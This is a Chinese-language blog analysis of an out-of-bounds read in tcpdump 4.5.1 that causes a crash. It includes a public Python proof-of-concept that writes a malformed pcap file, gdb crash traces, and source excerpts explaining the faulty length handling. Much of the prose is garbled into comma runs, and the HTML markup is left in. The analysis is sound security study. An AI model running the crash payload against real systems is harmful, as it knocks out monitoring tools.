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TCPDUMP 4.5.1 拒绝服务攻击漏洞分析
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< h2 id = "Tcpdump介绍" > < a href = "#Tcpdump介绍" class = "headerlink" title = "Tcpdump介绍" > < / a > Tcpdump介绍< / h2 > < ol >
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< li > tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统： ， ； ， < / li >
< li > tcpdump能够分析网络行为， ， ， < / li >
< li > 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量， ， ， ， < / li >
< / ol >
< h2 id = "分析环境" > < a href = "#分析环境" class = "headerlink" title = "分析环境" > < / a > 分析环境< / h2 > < ul >
< li > Ubuntu 16.04.4 LTS i686< / li >
< li > tcpdump 4.5.1< / li >
< li > gdb with peda< / li >
< / ul >
< h2 id = "漏洞复现" > < a href = "#漏洞复现" class = "headerlink" title = "漏洞复现" > < / a > 漏洞复现< / h2 > < p > 这个漏洞触发的原因是， ， ， ， ， ， ， ， < / p >
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< h3 id = "编译安装tcpdump" > < a href = "#编译安装tcpdump" class = "headerlink" title = "编译安装tcpdump" > < / a > 编译安装tcpdump< / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. # apt-get install libpcap-dev< / span > < br > < span class = "line" > 2. # dpkg -l libpcap-dev< / span > < br > < span class = "line" > 3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > 4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > 5. # cd tcpdump-4.5.1/< / span > < br > < span class = "line" > 6. # ./configure< / span > < br > < span class = "line" > 7. # make< / span > < br > < span class = "line" > 8. # make install< / span > < br > < span class = "line" > 9. # tcpdump – < / span > < br > < span class = "line" > tcpdump version 4.5.1< / span > < br > < span class = "line" > libpcap version 1.7.4< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h3 id = "生成payload（ ） > < a href = "#生成payload（ ） class = "headerlink" title = "生成payload（ ） > < / a > 生成payload（ ） < / h3 > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > # Exploit Title: tcpdump 4.5.1 Access Violation Crash< / span > < br > < span class = "line" > # Date: 31st May 2016< / span > < br > < span class = "line" > # Exploit Author: David Silveiro< / span > < br > < span class = "line" > # Vendor Homepage: http://www.tcpdump.org< / span > < br > < span class = "line" > # Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz< / span > < br > < span class = "line" > # Version: 4.5.1< / span > < br > < span class = "line" > # Tested on: Ubuntu 14 LTS< / span > < br > < span class = "line" > from subprocess import call< / span > < br > < span class = "line" > from shlex import split< / span > < br > < span class = "line" > from time import sleep< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > def crash():< / span > < br > < span class = "line" > command = ' tcpdump -r crash' < / span > < br > < span class = "line" > buffer = ' \xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' < / span > < br > < span class = "line" > buffer += ' \x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' < / span > < br > < span class = "line" > buffer += ' \x00\x00\x00\x00\x00\x08\x00\x00\x00\x00< \x9c7@\xff\x00' < / span > < br > < span class = "line" > buffer += ' \x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' < / span > < br > < span class = "line" > buffer += " \x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0& \x80\x18\' " < / span > < br > < span class = "line" > buffer += " xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n' , ' \x00\x00\x00\x00" < / span > < br > < span class = "line" > buffer += ' \x00\x00\x00\x00\x01\x03\x03\x04' < / span > < br > < span class = "line" > with open(' crash' , ' w+b' ) as file:< / span > < br > < span class = "line" > file.write(buffer)< / span > < br > < span class = "line" > try:< / span > < br > < span class = "line" > call(split(command))< / span > < br > < span class = "line" > print(" Exploit successful! " )< / span > < br > < span class = "line" > except:< / span > < br > < span class = "line" > print(" Error: Something has gone wrong!" )< / span > < br > < span class = "line" > def main():< / span > < br > < span class = "line" > print(" Author: David Silveiro " )< / span > < br > < span class = "line" > print(" tcpdump version 4.5.1 Access Violation Crash " )< / span > < br > < span class = "line" > sleep(2)< / span > < br > < span class = "line" > crash()< / span > < br > < span class = "line" > if __name__ == " __main__" :< / span > < br > < span class = "line" > main()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< h2 id = "崩溃分析" > < a href = "#崩溃分析" class = "headerlink" title = "崩溃分析" > < / a > 崩溃分析< / h2 > < h3 id = "pcap包格式" > < a href = "#pcap包格式" class = "headerlink" title = "pcap包格式" > < / a > pcap包格式< / h3 > < p > 首先来分析一下pcap包的格式， ， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > struct pcap_file_header { < / span > < br > < span class = "line" > bpf_u_int32 magic;< / span > < br > < span class = "line" > u_short version_major;< / span > < br > < span class = "line" > u_short version_minor;< / span > < br > < span class = "line" > bpf_int32 thiszone; /* gmt to local correction */< / span > < br > < span class = "line" > bpf_u_int32 sigfigs; /* accuracy of timestamps */< / span > < br > < span class = "line" > bpf_u_int32 snaplen; /* max length saved portion of each pkt */< / span > < br > < span class = "line" > bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */< / span > < br > < span class = "line" > } ;< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 看一下各字段的含义：< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > magic： < / span > < br > < span class = "line" > major： < / span > < br > < span class = "line" > minor： < / span > < br > < span class = "line" > thiszone： ， < / span > < br > < span class = "line" > sigfigs： ， < / span > < br > < span class = "line" > snaplen： ， （ ） ， < / span > < br > < span class = "line" > tcpdump -s 0就是设置这个参数， < / span > < br > < span class = "line" > linktype： ： < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > struct pcap_pkthdr { < / span > < br > < span class = "line" > struct timeval ts; /* time stamp */< / span > < br > < span class = "line" > bpf_u_int32 caplen; /* length of portion present */< / span > < br > < span class = "line" > bpf_u_int32 len; /* length this packet (off wire) */< / span > < br > < span class = "line" > } ;< / span > < br > < span class = "line" > struct timeval { < / span > < br > < span class = "line" > long tv_sec; /* seconds (XXX should be time_t) */< / span > < br > < span class = "line" > suseconds_t tv_usec; /* and microseconds */< / span > < br > < span class = "line" > } ;< / span > < br > < span class = "line" > ts： ， < / span > < br > < span class = "line" > caplen： （ ， ） < / span > < br > < span class = "line" > len： ， ， < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 其中len变量是值得关注的， ， < br > 这是一个很大的值， ， ， ， ， ， ， < / p >
2019-07-16 09:15:34 +00:00
< h3 id = "gdb调试" > < a href = "#gdb调试" class = "headerlink" title = "gdb调试" > < / a > gdb调试< / h3 > < p > 首先通过gdb运行tcpdump， ， ， < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. Program received signal SIGSEGV, Segmentation fault.< / span > < br > < span class = "line" > 2. [----------------------------------registers-----------------------------------]< / span > < br > < span class = "line" > 3. EAX: 0x1< / span > < br > < span class = "line" > 4. EBX: 0x81e33bd --> 0x0< / span > < br > < span class = "line" > 5. ECX: 0x2e (' .' )< / span > < br > < span class = "line" > 6. EDX: 0x0< / span > < br > < span class = "line" > 7. ESI: 0xbfffe201 (' .' < repeats 14 times> )< / span > < br > < span class = "line" > 8. EDI: 0xbfffe1db --> 0x30303000 (' ' )< / span > < br > < span class = "line" > 9. EBP: 0x10621< / span > < br > < span class = "line" > 10. ESP: 0xbfffe1ac --> 0x8053caa (< hex_and_ascii_print_with_offset+170> : mov ecx,DWORD PTR [esp+0xc])< / span > < br > < span class = "line" > 11. EIP: 0x8053c6a (< hex_and_ascii_print_with_offset+106> : movzx edx,BYTE PTR [ebx+ebp*2+0x1])< / span > < br > < span class = "line" > 12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)< / span > < br > < span class = "line" > 13. [-------------------------------------code-------------------------------------]< / span > < br > < span class = "line" > 14. 0x8053c5d < hex_and_ascii_print_with_offset+93> : je 0x8053d40 < hex_and_ascii_print_with_offset+320> < / span > < br > < span class = "line" > 15. 0x8053c63 < hex_and_ascii_print_with_offset+99> : mov ebx,DWORD PTR [esp+0x18]< / span > < br > < span class = "line" > 16. 0x8053c67 < hex_and_ascii_print_with_offset+103> : sub esp,0x4< / span > < br > < span class = "line" > 17. => 0x8053c6a < hex_and_ascii_print_with_offset+106> : movzx edx,BYTE PTR [ebx+ebp*2+0x1]< / span > < br > < span class = "line" > 18. 0x8053c6f < hex_and_ascii_print_with_offset+111> : movzx ecx,BYTE PTR [ebx+ebp*2]< / span > < br > < span class = "line" > 19. 0x8053c73 < hex_and_ascii_print_with_offset+115> : push edx< / span > < br > < span class = "line" > 20. 0x8053c74 < hex_and_ascii_print_with_offset+116> : mov ebx,edx< / span > < br > < span class = "line" > 21. 0x8053c76 < hex_and_ascii_print_with_offset+118> : mov DWORD PTR [esp+0x18],edx< / span > < br > < span class = "line" > 22. [------------------------------------stack-------------------------------------]< / span > < br > < span class = "line" > 23. 0000| 0xbfffe1ac --> 0x8053caa (< hex_and_ascii_print_with_offset+170> : mov ecx,DWORD PTR [esp+0xc])< / span > < br > < span class = "line" > 24. 0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c< / span > < br > < span class = "line" > 25. 0008| 0xbfffe1b4 --> 0x1< / span > < br > < span class = "line" > 26. 0012| 0xbfffe1b8 --> 0x2f5967 (' gY/' )< / span > < br > < span class = "line" > 27. 0016| 0xbfffe1bc --&
< p > 从崩溃信息来看， < em > cp++;崩溃原因为SIGSEGV， ， ， < / em > 2+0x1]的内容，可能是越界读取造成的崩溃。< br > 再结合源码信息可知， ， ， ， ， ， ， < br > 我们通过bt回溯一下调用情况。< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. gdb-peda$ bt< / span > < br > < span class = "line" > 2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af " \n\t" , cp=0x8204000 < error: Cannot access memory at address 0x8204000> ,< / span > < br > < span class = "line" > 3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91< / span > < br > < span class = "line" > 4. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af " \n\t" , cp=0x81e33bd " " , length=0xfffffff3) at ./print-ascii.c:127< / span > < br > < span class = "line" > 5. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 < Gndo> , h=0xbfffe40c, p=< optimized out> ) at ./print-802_15_4.c:180< / span > < br > < span class = "line" > 6. #3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001" , h=0xbfffe40c, sp=0x81e33a8 " @\377" )< / span > < br > < span class = "line" > 7. at ./tcpdump.c:1950< / span > < br > < span class = "line" > 8. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8< / span > < br > < span class = "line" > 9. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8< / span > < br > < span class = "line" > 10. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569< / span > < br > < span class = "line" > 11. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 < main> , argc=0x3, argv=0xbffff6c4, init=0x80b1230 < __libc_csu_init> ,< / span > < br > < span class = "line" > 12. fini=0x80b1290 < __libc_csu_fini> , rtld_fini=0xb7fea880 < _dl_fini> , stack_end=0xbffff6bc) at ../csu/libc-start.c:291< / span > < br > < span class = "line" > 13. #8 0x0804c245 in _start ()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 函数调用流程< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > pcap_loop< / span > < br > < span class = "line" > |----print_packet< / span > < br > < span class = "line" > |-----hex_and_ascii_print< / span > < br > < span class = "line" > |-------- hex_and_ascii_print_with_offset< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 由此可见， ， < br > tcpdump.c找到pcap_loop调用< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. do { < / span > < br > < span class = "line" > 2. status = pcap_loop(pd, cnt, callback, pcap_userdata);< / span > < br > < span class = "line" > 3. if (WFileName == NULL) { < / span > < br > < span class = "line" > 4. /*< / span > < br > < span class = "line" > 5. * We' re printing packets. Flush the printed output,< / span > < br > < span class = "line" > 6. * so it doesn' t get intermingled with error output.< / span > < br > < span class = "line" > 7. */< / span > < br > < span class = "line" > 8. if (status == -2) { < / span > < br > < span class = "line" > 9. /*< / span > < br > < span class = "line" > 10. * We got interrupted, so perhaps we didn' t< / span > < br > < span class = "line" > 11. * manage to finish a line we were printing.< / span > < br > < span class = "line" > 12. * Print an extra newline, just in case.< / span > < br > < span class = "line" > 13. */< / span > < br > < span class = "line" > 14. putchar(' n' );< / span > < br > < span class = "line" > 15. } < / span > < br > < span class = "line" > 16. (void)fflush(stdout);< / span > < br > < span class = "line" > 17. } < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
2019-07-01 09:29:47 +00:00
< p > 设置断点之后查看一下该函数的执行结果< / p >
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< p > pcap_loop通过callback指向print_packet,来看一下它的源码< br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. static void< / span > < br > < span class = "line" > 2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)< / span > < br > < span class = "line" > 3. { < / span > < br > < span class = "line" > 4. struct print_info *print_info;< / span > < br > < span class = "line" > 5. u_int hdrlen;< / span > < br > < span class = "line" > 6. ++packets_captured;< / span > < br > < span class = "line" > 7. ++infodelay;< / span > < br > < span class = "line" > 8. ts_print(& h-> ts);< / span > < br > < span class = "line" > 9. print_info = (struct print_info *)user;< / span > < br > < span class = "line" > 10. /*< / span > < br > < span class = "line" > 11. * Some printers want to check that they' re not walking off the< / span > < br > < span class = "line" > 12. * end of the packet.< / span > < br > < span class = "line" > 13. * Rather than pass it all the way down, we set this global.< / span > < br > < span class = "line" > 14. */< / span > < br > < span class = "line" > 15. snapend = sp + h-> caplen;< / span > < br > < span class = "line" > 16. if(print_info-> ndo_type) { < / span > < br > < span class = "line" > 17. hdrlen = (*print_info-> p.ndo_printer)(print_info-> ndo, h, sp);< ====< / span > < br > < span class = "line" > 18. } else { < / span > < br > < span class = "line" > 19. hdrlen = (*print_info-> p.printer)(h, sp);< / span > < br > < span class = "line" > 20. } < / span > < br > < span class = "line" > 21. putchar(' n' );< / span > < br > < span class = "line" > 22. --infodelay;< / span > < br > < span class = "line" > 23. if (infoprint)< / span > < br > < span class = "line" > 24. info(0);} < / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
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< p > 同样设置断点看该函数是如何调用执行的< / p >
< p > 这是我们可以根据call的信息， < / p >
< p > 其中(*print_info-> p.ndo_printer)(print_info-> ndo,h,sp)指向ieee802_15_4_if_print< / p >
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< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < span class = "line" > 71< / span > < br > < span class = "line" > 72< / span > < br > < span class = "line" > 73< / span > < br > < span class = "line" > 74< / span > < br > < span class = "line" > 75< / span > < br > < span class = "line" > 76< / span > < br > < span class = "line" > 77< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 25. u_int< / span > < br > < span class = "line" > 26. ieee802_15_4_if_print(struct netdissect_options *ndo,< / span > < br > < span class = "line" > 27. const struct pcap_pkthdr *h, const u_char *p)< / span > < br > < span class = "line" > 28. { < / span > < br > < span class = "line" > 29. printf(" address : %x\n" ,p);< / span > < br > < span class = "line" > 30. u_int caplen = h-> caplen; //传入的caplen， < / span > < br > < span class = "line" > 31. int hdrlen;< / span > < br > < span class = "line" > 32. u_int16_t fc;< / span > < br > < span class = "line" > 33. u_int8_t seq;< / span > < br > < span class = "line" > 34. if (caplen < 3) { //不满足< / span > < br > < span class = "line" > 35. ND_PRINT((ndo, " [|802.15.4] %x" , caplen));< / span > < br > < span class = "line" > 36. return caplen;< / span > < br > < span class = "line" > 37. } < / span > < br > < span class = "line" > 38. fc = EXTRACT_LE_16BITS(p);< / span > < br > < span class = "line" > 39. hdrlen = extract_header_length(fc);< / span > < br > < span class = "line" > 40. seq = EXTRACT_LE_8BITS(p + 2);< / span > < br > < span class = "line" > 41. p += 3;< / span > < br > < span class = "line" > 42. caplen -= 3;//此时caplen = 5< / span > < br > < span class = "line" > 43. ND_PRINT((ndo," IEEE 802.15.4 %s packet " , ftypes[fc & 0x7]));< / span > < br > < span class = "line" > 44. if (vflag)< / span > < br > < span class = "line" > 45. ND_PRINT((ndo," seq %02x " , seq));< / span > < br > < span class = "line" > 46. if (hdrlen == -1) { < / span > < br > < span class = "line" > 47. ND_PRINT((ndo," malformed! " ));< / span > < br > < span class = "line" > 48. return caplen;< / span > < br
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< p > 传入的第二个值是struct pcap_pkthdr *h结构体， ， ， ， ， < br > 直接跟进函数，看看最后赋值情况< / p >
< p > 从源码和调试信息可以看到libpcap在处理不正常包时不严谨， ， ， < br > 继续跟进hex_and_asciii_print(ndo_default_print)< / p >
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< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > 1. void< / span > < br > < span class = "line" > 2. hex_and_ascii_print(register const char *ident, register const u_char *cp,< / span > < br > < span class = "line" > 3. register u_int length)< / span > < br > < span class = "line" > 4. { < / span > < br > < span class = "line" > 5. hex_and_ascii_print_with_offset(ident, cp, length, 0);< / span > < br > < span class = "line" > 6. } < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > 其中length==0xfffffff3， < / span > < br > < span class = "line" > 1. void< / span > < br > < span class = "line" > 2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,< / span > < br > < span class = "line" > 3. register u_int oset)< / span > < br > < span class = "line" > 4. { < / span > < br > < span class = "line" > 5. register u_int i, s;< / span > < br > < span class = "line" > 6. register int nshorts;< / span > < br > < span class = "line" > 7.< / span > < br > < span class = "line" > 8. nshorts = (u_int) length / sizeof(u_short);< / span > < br > < span class = "line" > 9. i = 0;< / span > < br > < span class = "line" > 10. while (--nshorts > = 0) { < / span > < br > < span class = "line" > 11. if ((i++ % 8) == 0) { < / span > < br > < span class = "line" > 12. (void)printf(" %s0x%04x: " , ident, oset);< / span > < br > < span class = "line" > 13. oset += HEXDUMP_BYTES_PER_LINE;< / span > < br > < span class = "line" > 14. } < / span > < br > < span class = "line" > 15. s = *cp++; < ======= 抛出错误位置< / span > < br > < span class = "line" > 16. (void)printf(" %02x%02x" , s, *cp++);< / span > < br > < span class = "line" > 17. } < / span > < br > < span class = "line" > 18. if (length & 1) { < / span > < br > < span class = "line" > 19. if ((i % 8) == 0)< / span > < br > < span class = "line" > 20. (void)printf(" %s0x%04x: " , ident, oset);< / span > < br > < span class = "line" > 21. (void)printf(" %02x" , *cp);< / span > < br > < span class = "line" > 22. } < / span > < br > < span class = "line" > nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2= < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< p > 但数据包数据没有这么长， < / p >
